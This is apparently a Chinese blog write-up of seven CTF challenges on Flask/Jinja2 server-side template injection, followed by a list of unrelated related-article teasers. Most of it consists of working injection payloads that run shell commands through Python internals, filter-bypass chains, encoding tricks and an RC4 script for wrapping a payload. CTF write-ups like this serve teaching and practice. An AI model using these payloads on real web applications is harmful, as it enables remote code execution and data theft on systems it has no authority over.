【Web】Flask|Jinja2 SSTI

news/2024/5/19 21:26:16 标签: flask, python, 后端, SSTI, CTF, WEB, 安全

目录

CTF%202022%5Dis%20secret-toc" style="margin-left:0px;">①[NISACTF 2022]is secret

CTF%202022%20WEEK2%5Dez_SSTI-toc" style="margin-left:0px;">②[HNCTF 2022 WEEK2]ez_SSTI

CTF%202023%5D%3Cez_ze%3E%C2%A0-toc" style="margin-left:0px;">③[GDOUCTF 2023] 

CTF%202018%5Dflask%E7%9C%9F%E9%A6%99-toc" style="margin-left:0px;">④[NCTF 2018]flask真香

SSTI-toc" style="margin-left:0px;">⑤[安洵杯 2020]Normal SSTI

CTF%202022%20WEEK3%5Dssssti-toc" style="margin-left:0px;">⑥[HNCTF 2022 WEEK3]ssssti

CTF%202021%5D%E5%9C%B0%E7%8B%B1%E9%80%9A%E8%AE%AF-toc" style="margin-left:0px;">⑦[MoeCTF 2021]地狱通讯


①[NISACTF 2022]is secret

dirsearch扫出/secret

 

明示get传一个secret 

?secret={{7*7}}直接报错告诉我们是flask

 点开看看

rc4加密?

密钥为HereIsTreasure

贴一段脚本先

import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box


def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)


//请输入明文:
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}
rc4加密后的url编码:.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

最终payload:

/secret?secret=.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

CTF%202022%20WEEK2%5Dez_SSTI">②[HNCTF 2022 WEEK2]ez_SSTI

明示SSTI

测出注入点

 

上武器库

直接秒了还行

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

 

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac f*').read()")}}

 

CTF%202023%5D%3Cez_ze%3E%C2%A0">③[GDOUCTF 2023]<ez_ze> 

看到输入框先试试SSTI()

经过测试 发现过滤了 _ {{}} . [] '' os popen getitem \

{%!%}报错发现是Jinja2

太麻烦了直接上Fenjing先梭

(梭门!!!)

或者字符串拼接

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a,item=b)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% print((x|attr(geti))('open')('/flag')|attr('read')()) %}

再极端一点过滤引号

{% set pop=dict(pop=1)|join %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set re=(config|string|list)|attr(pop)(239) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
{% set o=dict(o=a,s=b)|join %}
{% set po=dict(pop=a,en=b)|join %}
{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

CTF%202018%5Dflask%E7%9C%9F%E9%A6%99">④[NCTF 2018]flask真香

发现注入点

fuzz测试出以下字符被过滤,拼接即可

原payload:

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

修改后:

/{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

/{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('tac /Th1s_is__F1114g').read()")}}

SSTI">⑤[安洵杯 2020]Normal SSTI

先试{%!%}直接报错Jinja2

乐,Fenjing启动

 然而并不行,看来过滤挺多的

但经过尝试没有过滤""

上大招

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}

 unicode编码脚本

class_name = "__globals__"

unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])

print(unicode_class_name)

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("read")())%} 

CTF%202022%20WEEK3%5Dssssti">⑥[HNCTF 2022 WEEK3]ssssti

找到注入点

fuzz测出黑名单

 对照武器库直接秒了

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=tac /flag

CTF%202021%5D%E5%9C%B0%E7%8B%B1%E9%80%9A%E8%AE%AF">⑦[MoeCTF 2021]地狱通讯

开屏直接放了源码

首先看代码get请求传入f1ag和exp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Ag与exp拼接存在message变量里,如果exp存在值的话就返回拼接后的字符串。

我们知道format会把f1Ag的值带入到变量message"Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。

payload:

?f1ag=&exp={0.__class__.__init__.__globals__} 


http://www.niftyadmin.cn/n/5197551.html

相关文章

如果K8s出现问题,你可以从这9个方面排查

K8s问题的排查 1. POD启动异常、部分节点无法启动pod 2. 审视集群状态 3. 追踪事件日志 4. 聚焦Pod状态 5. 检查网络连通性 6. 审视存储配置 7. 研究容器日志 8. K8S集群网络通信 9. 问题&#xff1a;Service 是否通过 DNS 工作&#xff1f; 10. 总结 1. POD启动异常、…

Windows通过ssh连接远程服务器并进入docker容器

Windows操作系统可以使用vscode通过ssh远程连接ubuntu服务器&#xff1a; 首先下载安装vscode&#xff0c;然后安装插件Remote-SSH&#xff1a; 通过ctlshiftP可以打开Remote-SSH&#xff1a;connect to host&#xff1b; 输入ssh Userhostname -p port host和hostname对应的是…

快慢指针之:链表中倒数第k个结点

题目描述 题目链接&#xff1a;链表中倒数第k个结点_牛客题霸_牛客网 (nowcoder.com) 题目分析 我们可以利用快慢指针来解决问题&#xff1a; 思路一&#xff1a; 先让fast走k步&#xff0c;这时候fast和slow之间的距离就是k&#xff0c;然后让fast和slow同时同步往后走&am…

实力认证|易知微上榜中国信息通信研究院数字孪生城市产业图谱!

近期&#xff0c;中国通信院就数字孪生技术在城市层面的广泛应用&#xff0c;根据数字孪生产业框架&#xff0c;结合产业发展动态和企业综合实力评估&#xff0c;选取了核心产业、关联产业和辐射产业等各领域业务代表性较强的企业&#xff08;机构&#xff09;&#xff0c;形成…

MAC上修改mysql的密码(每一步都图文解释哦)

当你想要连接本机数据库时&#xff0c;是不是有可能突然忘记了自己的数据库密码? 在此文中&#xff0c;我们来详细解决一下如何去修改自己的数据库密码&#xff0c;并使用Navicat来连接测试 1.停止mysql服务 打开终端&#xff0c;键入命令,将mysql服务先停止掉&#xff0c;…

金蝶云星空ScpSupRegHandler任意文件上传漏洞复现 [附POC]

文章目录 金蝶云星空ScpSupRegHandler任意文件上传漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 金蝶云星空ScpSupRegHandler任意文件上传漏洞复现 [附POC] 0x01 前言 免责声明&#xff1a;请…

io 队列深度

io 深度 又称 io 队列深度 所以io 深度 在一定范围内&#xff0c; 越大越好。 相关博客 Fio压测工具和io队列深度理解和误区 https://blog.csdn.net/yiyeguzhou100/article/details/97312783 io队列深度对IOPS的影响 https://blog.csdn.net/hu_jinghui/article/details/8…

【C++】构造函数详解

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …